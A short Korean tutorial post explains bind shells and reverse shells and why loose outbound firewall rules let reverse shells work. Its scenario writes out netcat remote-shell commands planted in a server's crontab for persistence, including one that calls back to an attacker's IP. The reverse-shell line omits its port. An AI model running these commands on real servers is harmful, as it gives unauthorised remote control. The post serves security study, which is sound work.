바인드 쉘(Bind Shell), 리버스 쉘(Reverse Shell)
Outline
- 바인드 쉘과 리버스쉘의 쉘 획득 원리 설명
- 리버스 쉘이 성공하게 되는 서버의 취약 설정 설명
- 바인드 쉘과 리버스 쉘을 이용한 쉘 권한 획득 실습
바인드 쉘 (Bind Shell)
클라이언트/공격자가 서버에 접속하여 서버의 쉘을 획득하는 방식
- Alice는 서버 쉘 획득을 위해 사전에 서버에 접속하여 nc -lvp 1234 -e /bin/bash 명령을 crontab(서버스케줄러)\에 등록하여 1234 포트를 listen 상태로 유지한다.
- 이후 Alice는 언제든지 Bob의 서버에 1234포트로 원격 접속 할 수 있다.
리버스 쉘 (Reverse Shell)
타겟 서버가 클라이언트/공격자로 접속해 클라이언트가 서버의 쉘을 획득하는 방식 일반적으로 서버방화벽(iptables) 의 인바운드 정책의 경우 공개 서비스에 대해서만 화이트리스트 방식으로 엄격히 관리하지만 아웃바운드 정책의 경우 비교적 느슨하게 관리하는 취약점을 노린 공격이다.
- Alice는 기존 바인드 쉘(Bind Shell)을 이용한 공격에 실패하고 그 원인을 방화벽 설치로 추측 하여 리버스 쉘(Reverse Shell)공격을 시도 한다.
- Alice는 사전에 서버에 접속하여 자신의 PC에 접속을 시도하여 쉘(/bin/shell)을 실행하는 명령 nc -e /bin/bash 192.168.0.106 을 crontab(서버스케줄러) 에 등록한다.
- 이후 Alice는 자신의 PC에 1234포트를 listen상태로 놓고(nc -lp 1234) 서버의 접속요청을 기다린다.
- 서버요청이 연결되면 서버의 쉘 사용이 가능하다.
댓글남기기